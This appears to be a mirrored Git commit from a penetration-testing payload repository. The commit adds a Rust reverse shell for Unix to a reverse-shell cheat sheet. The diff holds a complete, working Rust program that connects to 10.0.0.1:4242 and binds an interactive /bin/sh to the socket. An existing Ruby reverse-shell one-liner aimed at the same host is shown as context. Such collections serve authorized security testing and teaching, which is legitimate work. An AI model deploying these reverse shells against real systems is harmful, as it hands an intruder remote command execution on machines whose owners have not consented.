mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 07:04:22 +00:00
Merge pull request #664 from ScriptSathi/master
feat: Add Rust reverse shell for unix
This commit is contained in:
commit
e2e2da74ce
1 changed files with 22 additions and 0 deletions
|
@ -28,6 +28,7 @@
|
||||||
* [Powershell](#powershell)
|
* [Powershell](#powershell)
|
||||||
* [Python](#python)
|
* [Python](#python)
|
||||||
* [Ruby](#ruby)
|
* [Ruby](#ruby)
|
||||||
|
* [Rust](#rust)
|
||||||
* [Socat](#socat)
|
* [Socat](#socat)
|
||||||
* [Telnet](#telnet)
|
* [Telnet](#telnet)
|
||||||
* [War](#war)
|
* [War](#war)
|
||||||
|
@ -197,6 +198,27 @@ NOTE: Windows only
|
||||||
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Rust
|
||||||
|
|
||||||
|
```rust
|
||||||
|
use std::net::TcpStream;
|
||||||
|
use std::os::unix::io::{AsRawFd, FromRawFd};
|
||||||
|
use std::process::{Command, Stdio};
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
|
||||||
|
let fd = s.as_raw_fd();
|
||||||
|
Command::new("/bin/sh")
|
||||||
|
.arg("-i")
|
||||||
|
.stdin(unsafe { Stdio::from_raw_fd(fd) })
|
||||||
|
.stdout(unsafe { Stdio::from_raw_fd(fd) })
|
||||||
|
.stderr(unsafe { Stdio::from_raw_fd(fd) })
|
||||||
|
.spawn()
|
||||||
|
.unwrap()
|
||||||
|
.wait()
|
||||||
|
.unwrap();
|
||||||
|
}
|
||||||
|
```
|
||||||
### Golang
|
### Golang
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|
Loading…
Reference in a new issue